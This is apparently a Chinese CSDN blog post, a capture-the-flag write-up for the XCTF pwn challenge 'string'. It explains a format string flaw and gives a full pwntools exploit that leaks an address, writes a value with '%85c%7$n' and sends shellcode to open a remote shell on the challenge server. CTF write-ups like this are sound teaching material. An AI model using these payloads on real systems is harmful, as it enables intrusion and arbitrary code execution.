攻防世界 pwn string

最新推荐文章于 2024-07-16 02:03:11 发布

Y0ng.

最新推荐文章于 2024-07-16 02:03:11 发布

阅读量221

点赞数

分类专栏： ctf 文章标签： pwn

本文链接：https://blog.csdn.net/YANG12345_6/article/details/120946254

版权

ctf 专栏收录该内容

11 篇文章 0 订阅

订阅专栏

该博客详细描述了一个利用存在格式化字符串漏洞的程序，通过精心构造的输入触发漏洞，将输入转换为函数指针并执行shellcode来获取系统的shell。过程中涉及到地址泄露、shellcode生成以及交互式shell的建立。

摘要由CSDN通过智能技术生成

存在格式化字符串漏洞
漏洞点：
在这里插入图片描述
写入shellcode的点：

判断*a1是否等于a1[1]，*a1 = 68,a1[1] = 85。下面有一个read函数，将输入存放在v1，再下面有一个通过函数指针进行强制类型转换，将刚才的输入转换成一个函数，最后执行。

exp：

from pwn  import *

#p = process("./string")
p = remote("111.200.241.244",'52204')

p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n")[:-1],16)  # 获取地址，并用16进制保存起来
print(addr)

p.recvuntil("character's name be:\n")
p.sendline("aaaa")
p.recvuntil(" will go?east or up?:\n")
p.sendline("east")
p.recvuntil("there(1), or leave(0)?:\n")
p.sendline("1")
p.recvuntil("me an address'\n")
p.sendline(str(addr))
p.recvuntil("you wish is:\n")
p.sendline("%85c%7$n")

# sub_400CA6():v1会被强制转成函数指针并且得到执行，所以传入一个system()函数去getshell
# shellcraft 是一个帮忙生成shellcode的类. shellcraft.sh():获得执行system(“/bin/sh”)汇编代码所对应的机器码
# 在shellcraft前要写context
context(os = 'linux',arch = 'amd64')
shellcode = asm(shellcraft.sh())

p.recvuntil("SPELL\n")
p.sendline(shellcode)
p.interactive()